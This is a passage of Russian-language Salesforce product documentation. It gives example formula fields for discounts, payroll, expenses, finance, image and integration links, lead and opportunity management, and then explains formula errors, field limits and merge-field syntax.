стоимость обслуживания и стоимость ремонта не равны значению стандартного поля
возможности «Стоимость». В противном случае отображается значение Full Price.

IF(Maintenance_Amount__c + Services_Amount__c <> Amount,
"Discounted",
"Full Price")
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Сумма скидки по возможности

Данная формула вычисляет разницу между полями продукта Amount и Discount Amount. Обратите внимание, что
поле Discount Amount является настраиваемым полем валюты.

Amount -
Discount_Amount__c

Округление скидки по возможности

Рекомендуем использовать даннуюформулу для вычисления скидки по возможности, округленной до двух знаков.
Данный пример использует числовое поле формулы для возможностей, содержащих настраиваемое поле процентов
Discount Percent.

ROUND(Amount-Amount* Discount_Percent__c,2)

Скидка по возможности с утверждением

Данная формула добавляет флажок «Скидка утверждена» в возможность. Формула использует условную логику для
проверки значения флажка утверждения перед вычислением комиссии.

IF(Discount_Approved__c, ROUND(Amount – Amount * DiscountPercent__c, 2), Amount)

Примеры формул: услуги для сотрудников

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Дополнительнуюинформациюобиспользованиифункций, встречающихся в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Вычисление премии

Данныйпример определяет размер премии сотрудника на основе наименьшего из двух
значений: валовая прибыль сотрудника, умноженная на процент премии, или прибыль
компании, разделенная поровну на всех сотрудников. Данный пример предполагает
наличие готового настраиваемого числового поля Number of Employees,
настраиваемого поля процентов Bonus Percent и настраиваемых полей валюты
Gross  (для сотрудника) и Performance  (для компании).

MIN(Gross__c * Bonus_Percent__c,
Performance__c / Number_of_Employees__c)

Пенсионный план 401K сотрудника

Данный пример используетформулу, определяющую сумму, которая должна переводиться на имя сотрудника согласно
пенсионному плану 401K: половина взноса сотрудника или 250 долларов (в зависимости от того, что меньше). Данный
пример предполагает наличие готового настраиваемого поля валюты Contribution.

MIN(250, Contribution__c /2)
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Количество отработанных часов за неделю

Данная формула использует настраиваемую вкладку для включения функции отслеживания рабочих часов за день.
Используемое поле формулы суммирует часы за неделю.

MonHours__c + TuesHours__c + WedsHours__c + ThursHours__c + FriHours__c

Общая сумма выплаты

Даннаяформулаопределяетобщуювыплатупутемсложениянормативныхчасов, умноженныхна ставку занормативное
рабочее время, и сверхурочных часов, умноженных на ставку за сверхурочное рабочее время.

Total Pay =
IF(Total_Hours__c <= 40, Total_Hours__c * Hourly_Rate__c,
40 * Hourly_Rate__c +
(Total_Hours__c - 40) * Overtime_Rate__c)

Примеры формул: отслеживание расходов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Дополнительнуюинформациюобиспользованиифункций, встречающихся в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Идентификатор расходов

Даннаяформулаотображает текст Expense-, за которымследуютполя Trip Name и Expense
Number. Данное поле формулы является текстовым и использует настраиваемое поле
Expense Number.

"Expense-" &
Trip_Name__c & "-" & ExpenseNum__c

Вычисление расстояния

Данная формула вычисляет расходы на посещение офиса клиента по ставке 35 рублей за километр.

Miles_Driven__c * 0.35

Примеры формул: финансовые вычисления

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Дополнительнуюинформациюобиспользованиифункций, встречающихся в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Сложные проценты

Даннаяформула вычисляетпроценты, накапливаемые за T лет, приусловииначисления
M раз в год.

Principal__c * ( 1 + Rate__c / M ) ^ ( T * M) )

4713

Использование формулРасширение Salesforce посредством интерактивных
инструментов



Сложные проценты: непрерывное начисление

Данная формула вычисляет проценты, накапливаемые за T лет, при условии непрерывного начисления.

Principal__c * EXP(Rate__c * T)

Расходы на консультанта

Даннаяформулаумножаетколичествоконсультационныхднейна 1 200, приусловии, чтоданноеполеформулыиспользует
тип данных «Валюта», а стоимость одного консультационногодня составляет 1 200 рублей. Обратите внимание, чтополе
Consulting Days является настраиваемым.

Consulting_Days__c *
1200

Валовая прибыль

Даннаяформулапозволяетвычислитьваловуюприбыль. Примерформулынижеиспользуетнастраиваемыеполявалюты
Total Sales и Cost of Goods Sold.

Total_Sales__c - Cost_of_Goods_Sold__c

Процент валовой прибыли

Данная формула вычисляет валовую прибыль на основе процента прибыли.

Margin_percent__c * Items_Sold__c * Price_item__c

Индикатор срока платежа

Даннаяформулавозвращаетдатучерезпятьднейпоследатыначалаконтракта, еслиполе Payment Due Date содержит
пустое значение. Поле Payment Due Date является настраиваемым полем даты.

(BLANKVALUE(Payment_Due_Date__c, StartDate +5)

Статус платежа

Даннаяформулаопределяетплатежиспрошедшимкрайнимсрокомистатусомплатежа UNPAID. Есливыражениеистинно,
то формула возвращает значение PAYMENT OVERDUE. В противном случае формула возвращает пустое поле. Данный
примериспользуетнастраиваемоеполедаты Payment Due Date инастраиваемоетекстовоеполеконтрактов Payment
Status.

IF(
AND(Payment_Due_Date__c < TODAY(),
ISPICKVAL(Payment_Status__c, "UNPAID")),
"PAYMENT OVERDUE",
null )
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Примеры формул: ссылки на изображения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Дополнительнуюинформациюобиспользованиифункций, встречающихся в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Изображение Yahoo! Instant Messenger™

Даннаяформулаотображаетизображение, указывающеена выполнениепользователем
или контактом входа в приложение Yahoo! Instant Messenger. Выбор изображения
инициирует открытие окна Yahoo! Instant Messenger. Данная формула использует
настраиваемое текстовое поле Yahoo Name для хранения кода Yahoo! контакта или
пользователя.

IF(ISBLANK(Yahoo_Name__c),"", HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c,
IMAGE("http://opi.yahoo.com/online?u=" & Yahoo_Name__c & "&m=g&t=0", " ")))

Флажки для приоритета обращения

Данная формула отображает зеленый, желтый или красныйфлажок, соответствующий приоритету обращения.

IMAGE(
CASE( Priority,
"Low", "/img/samples/flag_green.gif",
"Medium", "/img/samples/flag_yellow.gif",
"High", "/img/samples/flag_red.gif",
"/s.gif"),
"Priority Flag")

Цветные квадратики для длительности обращения

Даннаяформулаотображаетизображениеразмером 30 х 30 пикселовкрасного, желтогоилизеленогоцвета, в зависимости
от значения настраиваемого числового поля Case Age.

IF( Case_Age__c > 20,
IMAGE("/img/samples/color_red.gif", "red", 30, 30),
IF( Case_Age__c > 10,
IMAGE("/img/samples/color_yellow.gif", "yellow", 30, 30),
IMAGE("/img/samples/color_green.gif", "green", 30, 30)
))

Сигналы светофора для статуса

Данная формула отображает зеленый, желтый или красный сигнал светофора на основе настраиваемого поля
раскрывающегося списка Project Status. Рекомендуемиспользоватьданнуюформулу в списковыхпредставлениях
и отчетах для создания представления панелей мониторинга «Сводка по статусам».

IMAGE(
CASE(Project_Status__c,
"Green", "/img/samples/light_green.gif",
"Yellow", "/img/samples/light_yellow.gif",
"Red", "/img/samples/light_red.gif",
"/s.gif"),
"status color")
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Звезды для рейтингов

Данная формула отображает от одной до пяти звезд, соответствующих текущему рейтингу.

IMAGE(
CASE(Rating__c,
"1", "/img/samples/stars_100.gif",
"2", "/img/samples/stars_200.gif",
"3", "/img/samples/stars_300.gif",
"4", "/img/samples/stars_400.gif",
"5", "/img/samples/stars_500.gif",
"/img/samples/stars_000.gif"),
"rating")

Consumer Reports™: цветные кружки для рейтингов

Данная формула отображает цветной кружок, соответствующий текущему рейтингу по шкале от одного до пяти.

IMAGE(
CASE(Rating__c,
"1", "/img/samples/rating1.gif",
"2", "/img/samples/rating2.gif",
"3", "/img/samples/rating3.gif",
"4", "/img/samples/rating4.gif",
"5", "/img/samples/rating5.gif",
"/s.gif"),
"rating")

Горизонтальные полоски для обозначения результата

Данная формула отображает цветную горизонтальную полоску (зеленую на беломфоне), длина которой соответствует
числовому результату. Пример ниже позволяет отображать полоску длиною не более 200 пикселов.

IMAGE("/img/samples/color_green.gif", "green", 15, Industry_Score__c * 2) &
IMAGE("/s.gif", "white", 15,
200 - (Industry_Score__c * 2))

Примеры формул: ссылки на интеграции

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Дополнительнуюинформациюобиспользованиифункций, встречающихся в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Ссылка на интерфейс API приложения

Данная формула создает ссылку на приложение вне системы Salesforce, передавая
параметры для подключения к системе Salesforce посредством SOAP API и создания
нужного события.

HYPERLINK ("https://www.myintegration.com?sId=" & GETSESSIONID() & "?&rowID=" & Name &
"action=CreateTask","Create a Meeting Request")
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Важное замечание: $Api.Session_ID и GETSESSIONID() показываеттожезначение, идентификатортекущего
сеанса в текущем контексте. Контекст изменяется в зависимости от того, где выполняется оценка глобальной
переменнойилифункции. Например, еслииспользуетсянастраиваемоеполе сформулой, и этополе отображается
на странице со стандартныммакетом в Salesforce Classic, тогда сеанс будет базовым сеансом системы Salesforce. Тоже
поле (или базовый алгоритм, или результат формулы) при использовании на странице Visualforce вместо этого
ссылается на сеанс Visualforce.

Контексты сеансов зависят от домена, в котором выполняется запрос. То есть, контекст сеанса изменяется при
переходе на другое имя хоста, например с .salesforce.com на .visual.force.com или
.lightning.force.com.

Коды сеансов из разных контекстов и сами сеансы различаются. При переходе из одного контекста в другой
предыдущий сеанс сменяется новым, после чего старый сеанс более не действителен. При этом также изменяется
код сеанса.

Как правило, Salesforce без проблем обрабатывает передачу сеансов между контекстами, однако если вы передаете
код сессии самостоятельно, учитывайте, что может потребоваться повторный доступ к $Api.Session_ID или
GETSESSIONID() из нового контекста, чтобы проверить действительность кода сеанса.

Обратите внимание на то, что не все сеансы одинаковы. В частности, сеансы, полученные в контексте Lightning
Experience , имеют меньше привилегий и не имеют доступа к API-интерфейсам. Использование кодов этих сеансов
для вызова API-интерфейсов невозможно.

Интеграция службы экспресс-доставки

Даннаяформула создает ссылкуна веб-сайтыслужбэкспресс-доставки FedEx, UPS и DHL наоснове значениянастраиваемого
поляраскрывающегосясписка Shipping Method. Обратитевнимание, чтопараметры, используемыевданномпримере
для веб-сайтов FedEx, UPS и DHL, носят наглядный характер и могут быть неверными.

CASE(Shipping_Method__c,
"Fedex",
HYPERLINK("http://www.fedex.com/Tracking?ascend_header=1&clienttype
=dotcom&cntry_code=us&language=english&tracknumbers= "& tracking_id__c,"Track"),
"UPS",
HYPERLINK("http://wwwapps.ups.com/WebTracking/processInputRequest?HTMLVersion
=5.0&sort_by=status&loc=en_US&InquiryNumber1= "& tracking_id__c & "&track.x=32&track.y=7",
"Track") ,
"DHL",
HYPERLINK("http://track.dhl-usa.com/TrackByNbr.asp?ShipmentNumber=" &
tracking_id__c,"Track"), "")

Интеграция автонабора Skype™

Даннаяформула создаетполеномера телефона, доступноедля ссылки, которое автоматическинабираетномер телефона
посредством VoIP-телефона Skype. Данная формула требует установки приложения Skype (сторонний продукт, который
не предоставляется компанией Salesforce) на компьютер.

HYPERLINK("callto://+" & Country_Code__c & Phone_Unformatted__c, Phone)
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Примеры формул: управление интересами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Дополнительнуюинформациюобиспользованиифункций, встречающихся в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Давность интереса (для открытых интересов)

Данная формула проверяет, является ли интерес открытым, и, в случае истинности,
вычисляет количество дней, в течение которых он был открыт, путем вычитания даты
и времени создания из текущих даты и времени. Формула возвращает количество дней,
округленноедоцелогочисла. Впротивномслучаеданноеполесодержитпустоезначение.

IF(ISPICKVAL(Status,
"Open"), ROUND(NOW()-CreatedDate, 0), null)

Полнота данных интереса

Даннаяформулавычисляетпроцентопределенныхполейинтереса, заполненныхторговымперсоналом. Полеформулы
проверяет значениядвухнастраиваемыхчисловыхполей: Phone и Email. Еслиполяне содержат значений, тоформула
возвращает значение «0». Формулавозвращает значение «1» длякаждогополя, содержащегозначение, иумножаетитоговое
значение на «50» для вычисления процента полей, содержащих данные.

(IF(Phone = "", 0, 1) + IF(Email = "", 0, 1) ) * 50

Присвоение номера интереса

Данная формула возвращает числовое значение для текстового значения поля автонумерации Lead Number. Данная
формула может быть полезна при использовании поля Lead Number в расчетах (например, циклический алгоритм
илидругаямаршрутизация). Обратитевнимание, чтополяавтонумерацииявляютсятекстовыми, поэтомупривыполнении
числовых расчетов должны быть преобразованы в числовые.

VALUE(Lead_Number__c)

Циклическое назначение обращений или интересов

Пример формулы ниже предполагает наличие трех очередей интересов и необходимость назначения каждой очереди
равного количества входящих интересов. Аналогичная формула может использоваться для назначения обращений.

MOD(VALUE(Lead_Number__c),
3)

Даннаяформулапредназначена дляполянастраиваемойформулы Round_Robin_ID, котороеназначает каждомуинтересу
значение 0, 1 или 2. Даннаяформула использует настраиваемое поле автонумерации Lead Number, которое назначает
каждомуинтересу уникальныйномер, начиная с 1. Функция MOD делитномеринтересанадоступноеколичествоочередей
(три очереди в данном примере) и возвращает остаток 0, 1 или 2. Рекомендуем использовать значение данного поля
формулы в правилах назначения интересов для назначения интересов разным очередям. Например:

• Round_Robin_ID = 0 назначается очереди А

• Round_Robin_ID = 1 назначается очереди Б

• Round_Robin_ID = 2 назначается очереди В
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Примеры формул: показатели

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Дополнительнуюинформациюобиспользованиифункций, встречающихся в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Преобразование температуры

Данная формула позволяет преобразовывать градусы по шкале Цельсия в градусы по
шкале Фаренгейта.

1.8 * degrees_celsius__c + 32

Преобразование единицы измерения

Данная формула позволяет преобразовывать километры в мили.

Miles__c/.621371192

Примеры формул: управление возможностями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Дополнительнуюинформациюобиспользованиифункций, встречающихся в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Ожидаемый доход по продукту

Даннаяформулавычисляетобщийдоходпонесколькимпродуктам, каждыйизкоторых
использует разную вероятность закрытия.

ProductA_probability__c * ProductA_revenue__c + ProductB_probability__c * ProductB_revenue__c

Вычисление стоимости обслуживания

Данная формула вычисляет стоимость обслуживания как 20% от годовой стоимости лицензии. Поле возможности
Maintenance Years является настраиваемым.

Amount * Maint_Years__c * 0.2

Вычисленная стоимость на основе ежемесячной подписки

Даннаяформулавычисляет стоимостьвозможностинаоснове стоимостиежемесячнойподписки, умноженнойнапериод
подписки.

Monthly_Amount__c * Subscription_Months__c
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Ежемесячное значение

Данная формула делит общегодовое значение на 12 месяцев.

Total_value__c / 12

Дополнительная стоимость возможности

Данная формула вычисляет сумму полей продукта Amount, стоимости обслуживания и комиссии за обслуживание.
Обратите внимание, что поля Maint amount и Service Fees являются настраиваемыми полями валюты.

Amount + Maint_Amount__c +
Services_Amount__c

Категоризация возможностей

Данная формула использует условную логику для заполнения текстового поля возможности Category на основе
значения стандартного поля Amount. Возможности со стоимостью менее 1 500 рублей относятся к категории «Category
1», возможностисостоимостью 1 500—10 000 рублейотносятсяк категории «Category 2», остальныевозможностиотносятся
к категории «Category 3». Данный пример использует вложенные операторы IF.

IF(Amount < 1500, "Category 1", IF(Amount > 10000, "Category 3", "Category 2"))

Полнота данных возможности

Данная формула обрабатывает набор полей и вычисляет процент полей, используемый персоналом. Данное поле
формулы проверяет пять полей на наличие значений. Поле, которое не содержит значения, считается нулевым. Поле,
котороесодержитзначение, считаетсякак «1». Общееколичестводелитсянапять (количествооцененныхполей). Обратите
внимание, чтоданнаяформула требует выборапараметра «Считать пустые поля пустыми» вразделе «Обработкапустых
полей» вложенной вкладки «Сложная формула».

(IF(ISBLANK(Maint_Amount__c), 0, 1) +
IF(ISBLANK(Services_Amount__c), 0,1) +
IF(ISBLANK(Discount_Percent__c), 0, 1) +
IF(ISBLANK(Amount), 0, 1) +
IF(ISBLANK(Timeline__c), 0, 1)) / 5

Ожидаемый доход возможности по лицензии

Данная формула вычисляет ожидаемый доход по лицензиям на основе вероятности закрытия.

Expected_rev_licenses__c * Probability

Текстовое отображение дохода возможности

Даннаяформула возвращает ожидаемыйдоход по возможности в текстовомформате без знака доллара. Например, если
поле кампании Expected Revenue содержит значение «$200 000», то данное поле формулы возвращает значение
«200 000».

TEXT(ExpectedRevenue)
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Общий размер сделки по возможности

Данная формула вычисляет общую стоимость обслуживания и ремонта.

Amount + Maint_Amount__c + Services_Amount__c

Итоговая цена возможности на основе единиц продукции

Данная формула создает ценовое предложение на основе единицы продукции и общего количества.

Unit_price__c * Volume__c * 20

Вычисление стоимости профессиональных услуг

Даннаяформула вычисляет стоимостьпрофессиональныхуслуг, приусловии, чтостоимостьодногонеполногорабочего
дня составляет 1 200 рублей. Поле возможности Consulting Days является настраиваемым.

Consulting_Days__c * 1200

Выбор документа продажи на основе этапа

Данная формула определяет соответствующий документ на вкладке «Документы» на основе поля возможности «Этап».
Рекомендуем использовать коды возможностей в следующемформате: 00l30000000j7AO.

CASE(StageName,
"Prospecting", "Insert 1st Document ID",
"Qualification", "Insert 2nd Document ID",
"Needs Analysis", "Insert 3rd Document ID",
"Value Proposition", ...
)
)

Обучение продажам

Данная формула создает гиперссылку, открывающую специальный документ на вкладке «Документы». Данная формула
использует предопределенное поле настраиваемойформулы, определяющее документ на основе поля возможности
«Этап». См. пример «Выбор документа продажи на основе этапа» на странице 4721.

HYPERLINK("/servlet/servlet.FileDownload?file=" & Relevant_Document__c, "View Document in
New Window")

Стоимость отправки по весу

Данная формула вычисляет почтовые расходы на основе веса.

package_weight__c * cost_lb__c

Процент стоимости отправки

Данная формула вычисляет стоимость отправки как процент от общей стоимости.

Ship_cost__c / total_amount__c
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Переменные комиссионные

Данная формула вычисляет сумму комиссии, равную 2%, для возможности, вероятность которой составляет 100%. Всем
другим возможностям назначается нулевая комиссия.

IF(Probability = 1,
ROUND(Amount * 0.02, 2),
0)

Общая стоимость контракта на основе регулярного и нерегулярного дохода

Данная формула вычисляет потоки регулярного и нерегулярного дохода на протяжении срока действия контракта.

Non_Recurring_Revenue__c + Contract_Length_Months__c * Recurring_Revenue__c

Примеры формул: ценообразование

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Дополнительнуюинформациюобиспользованиифункций, встречающихся в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Общая стоимость

Данная формула вычисляет общую стоимость на основе цены и общего количества
единиц продукции.

Unit_price__c * Total_units__c

Ценообразование для пользователя

Данная формула вычисляет цену за лицензию пользователя.

Total_license_rev__c / Number_user_licenses__c

Примеры формул: вычисления результата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Дополнительнуюинформациюобиспользованиифункций, встречающихся в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Результат интереса

Даннаяформулавычисляетрезультатыинтересов, приусловии, чтотелефоннымвызовам
присваивается более высокий результат, чем запросам через веб-сайт.

CASE(LeadSource, "Phone", 2, "Web", 1, 0)
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Ниже приведена формула, вычисляющая результат интереса на основе рейтинга.

CASE(1, IF(ISPICKVAL(Rating, "Hot"), 1, 0), 3, IF(ISPICKVAL(Rating, "Warm"), 1, 0), 2,
IF(ISPICKVAL(Rating, "Cold"), 1, 0), 1))

Результат успешной работы клиента

Данная формула использует простой алгоритм для присвоения клиентам высокого результата за успешную работу в
системе Salesforce.

Survey_Question_1__c * 5 + Survey_Question_2__c *2

Ошибки формулы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра сведений о
поле формулы:
• «Просмотр настройки и

конфигурации»

Для создания, изменения
или удаления полей
формулы:
• «Настройка

приложения»

• Сообщение «#Ошибка!» отображаетсядляполяформулыпривозникновенииошибки
во время вычисления значения формулы. Чтобы устранить ошибку, проверьте
формулу.

– Деление на ноль. При выполнении данной операции просмотрите выражение
на наличие нулевого знаменателя и введите альтернативное значение. Ниже
приведен пример поля формулы кампании, возвращающего пустое значение
при нулевом количестве возможностей.

IF(NumberOfOpportunities > 0,
NumberOfWonOpportunities / NumberOfOpportunities, null)

– Вычисление значения, длина которого превышает максимальное значение текущего типа. При выполнении
данной операции дополните числовые значения символом L, позволяющим увеличить их длину. Пример ниже
позволяет правильно вычислить количество миллисекунд в году путем умножения длинных числовых значений.

Long MillsPerYear = 365L * 24L * 60L * 60L * 1000L;
Long ExpectedValue = 31536000000L;
System.assertEquals(MillsPerYear, ExpectedValue);

– Вычисление квадратного корня отрицательного числа. При выполнении данной операции воспользуйтесь
функцией IF (см. пример выше) для проверки значения на наличие положительного числа.
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– Вычисление логарифма отрицательного числа. При выполнении данной операции воспользуйтесьфункцией IF
(см. пример выше) для проверки значения на наличие положительного числа.

– Использованиефункции VALUE с текстом, содержащим специальные символы. Примеры специальных символов
см. в разделе «Операторы и функцииформулы» на странице 4632.

– Убедитесь, что формула не содержит функцию HYPERLINK внутри текстовой функции (например, LEFT(
HYPERLINK("http://MYCOMPANY.ORG ", "MYCOMPANY ") , 5)).

– Отключение формулы или использование отключенного поля формулы. Система Salesforce отключает поля
формулы при удалении, но не включает их при восстановлении. Чтобы включить отключенные поля формулы,
измените и сохраните поле. Дополнительную информацию об удаленных настраиваемых полях и их
восстановлении см. в разделе «Управление удаленными настраиваемыми полями» на странице 4517.

• Сообщение «#Превышенразмер!» отображается для поляформулы, результат которого содержитболее 18 символов.
Рекомендуемпроверитьформулы, результатыкоторыхмогут содержатьболее 18 символов. Кроме того, рекомендуем
избегать умножения и возведения больших чисел в степень, а также деления на очень маленькие числа.

• Функции CASE возвращаютошибку, если ошибка возвращается любымвыражением, независимоот того, что должно
быть возвращено. Например, функция CASE(Field__c,"Partner", "P", "Customer", "C",
LEFT(Field__c, -5)) возвращаетошибку, еслиполе содержит значение Partner или Customer, так какпоследний
оператор является нелогичным.

• Ошибки деления на ноль могут быть исключены путем добавления функции IF, определяющей нулевое значение
поля. Например, IF(Field__c =0,0, 25/Field__c).

Ограничения для полей формулы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

• Поля формулы имеют следующие ограничения.

– Ограничение по количеству символов: поляформулымогут содержать не более
3 900 символов, включая пробелы, символы возврата и комментарии. Если
формуладолжнасодержатьбольшесимволов, создайтеотдельныеполяформулы
и дополните другое поле формулы соответствующими ссылками.

Прим.: Максимально допустимое количество символов, отображаемых
после оценки выражения формулы, составляет 1 300 символов.

– Ограничение по размеру сохранения: при сохранении размер полей формулы
не может превышать 4 000 байтов. Если формула содержит многобайтовые символы, то размер сохранения
отличается от количества символов.

– Ограничениепоразмерукомпиляции: прикомпиляцииразмерполейформулынеможетпревышать5 000 байтов.
Размер компиляции — это размер формулы (в байтах), включая все поля, значения и используемые формулы.
Прямая зависимость размера компиляции от ограничения по количеству символов отсутствует. Некоторые
функции (например, TEXT, DATEVALUE, DATETIMEVALUE и DATE) значительно увеличивают размер компиляции.

Совет: Рекомендации по исправлениюформул во избежание подобных ограничений см. в документе «Советы
по сокращению размера формулы».

• Формулы стандартных значений для типа записи могут ссылаться только на поля данного типа записи. Тем не менее,
поляформулыиформулыдля утвержденийилиправилдля типа записимогут ссылатьсянаполяданного типа записи,
а также любых записей, связанных посредством взаимосвязи «Поиск» или «Основная—подробная». Например,
формула для правила проверки возможностей может ссылаться на поля слияния организаций и кампаний, а также
возможностей, тогда как поле формулы для организаций может ссылаться на поля обращений.

• Формулы не поддерживают поля типа «Область подробного текста», зашифрованные поля и поле «Описание».
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• Значение поля не может зависеть от другой используемойформулы.

• Поля, используемые формулами, не могут быть удалены. Прежде чем удалить поле, рекомендуем удалить нужное
поле из формулы.

• Вотличиеотполейнастраиваемойформулы, формулы, используемыевобновленияхполей, процессах утверждения,
бизнес-правилах или правилах проверки, не могут ссылаться на поля статистики по кампаниям.

СМ. ТАКЖЕ:

Советы по созданиюформул

Создание формул

Поля слияния

Общие сведения о полях слияния

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступные поля слияния
определяютсяиспользуемой
версией Salesforce.

Поле слияния — это поле, которое может быть добавлено вшаблон эл. почты, шаблон
стандартного письма, настраиваемую ссылку или формулу для внедрения значений из
записи.Например, поле слияния может быть добавлено в шаблон эл. почты, чтобы
строка приветствия содержала имя получателя, а не обобщенное «Здравствуйте!». Поля
слияния могут использоваться в полях настраиваемых формул, элементах S-Control,
настраиваемых ссылках, настраиваемых кнопках и страницах Visualforce, а также при
созданиишаблонов эл. почты или стандартных писем.

Имена полей слияния определяются при создании настраиваемого поля или объекта.
Поле «Имя поля» заполняется автоматически на основе данных, введенных в поле
«Метка поля». При необходимости данное поле может быть настроено. Помните, что
имя должно:

• Содержать только символы подчеркивания, буквы и цифры

• Начинаться и заканчиваться буквами

• Не содержать пробелов

• Не содержать двух последовательных символов подчеркивания

Важное замечание: Убедитесь в уникальности имени и метки настраиваемого поля объекта.

• Если имена или метки стандартного и настраиваемого полей совпадают, то поле слияния содержит значение
настраиваемого поля.

• Еслиименаилиметкидвухнастраиваемыхполейсовпадают, тополеслиянияможет содержатьнепредвиденное
значение.

Если при создании метки поля «Эл. почта» уже существует стандартное поле «Эл. почта», то поле слияния
может не различать имена полей. Чтобы гарантировать уникальность имени настраиваемого поля, рекомендуем
дополнить его символами. Например, «Эл. почта12».

Чтобы найти имя поля слияния для объекта или поля в системе Salesforce, откройте страницу сведений об объекте или
поле и просмотрите поле «Имя поля».

Чтобыдобавитьполяслияния, воспользуйтесьредакторомсоответствующейфункции. Каждыйредактор, используемый
в системе Salesforce, содержит действительные поля слияния для всех связанных стандартных и настраиваемых объектов.
При созданиишаблонов стандартных писем посредством надстройки Word приложения Connect for Office отображается
полный список полей слияния, доступных для вставки.
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Синтаксис
Синтаксис поля слияния определяется местом использования поля. Чтобы гарантировать использование правильного
синтаксиса, выберите поля слияния из раскрывающегося списка редактора в области использования поля слияния.

Настраиваемые объекты и поля всегда дополняются элементом __c. Метки полей следуют за именем объекта, а все
пробелы заменяются символами подчеркивания. Например, поле слияния Account.CreatedDate ссылается на
стандартное поле «Дата создания» для объекта «Организации».

Имястандартнойвзаимосвязиявляетсяосновнымобъектом. Например, полеслияния Account.Name позволяетправилу
проверкиконтактовссылатьсянаимяорганизации, тогдакакполеслияния Opportunity.Account.CreatedBy.Phone
позволяет полюформулы для продуктов возможностей ссылаться на номер телефона создателя организации. Имя
настраиваемой взаимосвязи — это значение поля «Имя поля», дополненное элементом __r. Например, поле слияния
Contact__r.Email позволяет правилу проверки настраиваемых объектов ссылаться на адрес эл. почты контакта.

Общие советы
• Чтобыиспользоватьполеслияниявкачествецелевойссылки, добавьтенужноеполеслиянияпослепрефикса http://.

• Система Salesforce округляет числа в полях слияния в соответствии с региональными настройками пользователя, а не
до количества знаков после запятой, указанного в конфигурации числового поля.

• Принеобходимости сохраните имя организации, контакта илиинтереса на стандартном языке компании (локальное
имя), а также на стандартном языке пользователя или организации (стандартное имя). Стандартное имя поля слияния
используется в случае отсутствия локального имени.

• Чтобы добавить ссылку на отдельныйфайл, воспользуйтесь полем слияния $Resource.<имя_ресурса>, где
<имя_ресурса> — это имя, указанное при загрузке ресурса.

• Если имена настраиваемых полей переводятся с помощью средства перевода, то поиск полей слияния может
выполняться на языке, выбранном пользователем.

• Шаблон эл. почты не позволяет использовать поле поиска в качестве поля слияния. При необходимости создайте
скрытое поле формулы для макета страницы, извлекающее значение из поля поиска. Затем добавьте скрытое поле в
шаблон эл. почты.

Поля слияния для правил проверки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com.

Поле слияния — это поле, которое может быть добавлено вшаблон эл. почты, шаблон
стандартного письма, настраиваемую ссылку или формулу для внедрения значений из
записи.

Синтаксис и форматирование
Синтаксис поля слияния, используемого в правиле проверки, состоит из объекта, точки
иимениполя. Например, полеслияния $User.State соответствуетобластиилиштату
пользователя.

A merge field’s syntax can vary depending on where you’re using the field. To make sure you’re
using the correct syntax, select merge fields from the drop-down list in the editor where you’re
using the merge field.Поля слияния, используемые в правилах проверки, соответствуют
полям, доступным в приложении.

Для списка полей в объекте перейдите из параметров управления для объекта в раздел
полей.
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Важное замечание:

• If two or more custom objects have matching names or labels, only one of the objects appears when you select from available
merge fields. Make sure that all custom objects have unique names and labels so that you can select merge fields from any of
the objects.

Ограничения
Ниже перечислены поля слияния, которые не могут использоваться правилами проверки.

• Поля автонумерации (например, «Номер заявки»).

• Составные поля (например, адреса, имена и фамилии, зависимые раскрывающиеся списки и зависимые поиски).

Прим.: Правила проверки могут ссылаться на отдельные адресные поля (например, «Город для счета»).

• Поля статистики по кампаниям, включая статистики по отдельным кампаниям и иерархиям кампаний

Советы
• Некоторые поля слияния отображаются в виде переключателей, но при использовании в формулах действуют как

поля раскрывающегося списка.

Ниже перечислены поля слияния, которые при использовании в формулах могут содержать значения «Чтение»,
«Правка» и «Нет».

– $UserRole.CaseAccessForAccountOwner

– $UserRole.OpportunityAccessForAccountOwner

– CaseAccessLevel (для территории)

– OpportunityAccessLevel (для территории)

Ниже перечислены поля слияния, которые при использовании в формулах могут содержать значения «Чтение»,
«Правка» и «Все».

– AccountAccessLevel (для территории)

• Чтобы применить разные правила проверки к разным типам записей, добавьте поле слияния RecordType.Id в
формулу.

СМ. ТАКЖЕ:

Поиск по параметрам управления объектами

Поля слияния для формул

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

